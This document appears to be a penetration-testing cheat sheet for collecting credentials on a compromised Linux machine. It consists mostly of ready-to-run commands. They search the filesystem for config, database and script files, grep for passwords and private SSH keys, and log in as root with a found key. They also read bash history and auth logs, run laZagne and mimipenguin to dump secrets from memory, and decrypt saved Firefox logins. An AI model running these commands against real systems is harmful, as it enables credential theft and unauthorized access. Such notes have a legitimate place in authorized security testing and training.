Searching for Sensitive Files Key extensions: .conf , .config , .cnf (configuration); .txt , .sh , .py , .db (notes, scripts, databases).
Config Files bash Copy
for ext in ".conf .config .cnf"; do echo "Buscando $ext:"; find / -type f -name "*$ext" 2>/dev/null | grep -v "lib\|fonts"; done bash Copy
for file in $(find / -name "*.cnf" 2>/dev/null); do echo "Analizando $file"; grep -i "password" $file; done Databases bash Copy
for l in $(echo ".sql .db .*db .db*"); do echo -e "\nDB File extension: " $l find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man" done Scripts bash Copy
for l in $(echo ".py .pyc .pl .go .jar .c .sh"); do echo -e "\nFile extension: " $l find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share" done Cronjobs Review /etc/crontab , /etc/cron.d/ , /etc/cron.daily , etc. Sometimes credentials can be found in scripts run by cron.
SSH Keys IMPORTANT: if PermitRootLogin is enabled, we can use the key to log in as root terminal Copy
$ ssh -i id_rsa root@ip$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"Command History terminal Copy
tail -n 10 /home/*/.bash_history Logs /var/log/messages , /var/log/syslog , /var/log/auth.log (Debian), /var/log/secure
bash Copy
for i in $(ls /var/log/* 2>/dev/null); do GREP=$(grep "accepted\|session opened\|failure\|failed\|ssh\|password changed\|new user\|sudo\|COMMAND=" $i 2>/dev/null) if [[ $GREP ]]; then echo -e "\n#### Log file: " $i; echo "$GREP"; fi done Memory and Cache terminal Copy
$ python3 laZagne.py allbash mimipenguin.sh Browsers terminal Copy
$ ls -l .mozilla/firefox/ | grep default$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .Then we decrypt the creds with firefox_decrypt. IMPORTANT: we may need to use python3.9 firefox_decrypt.py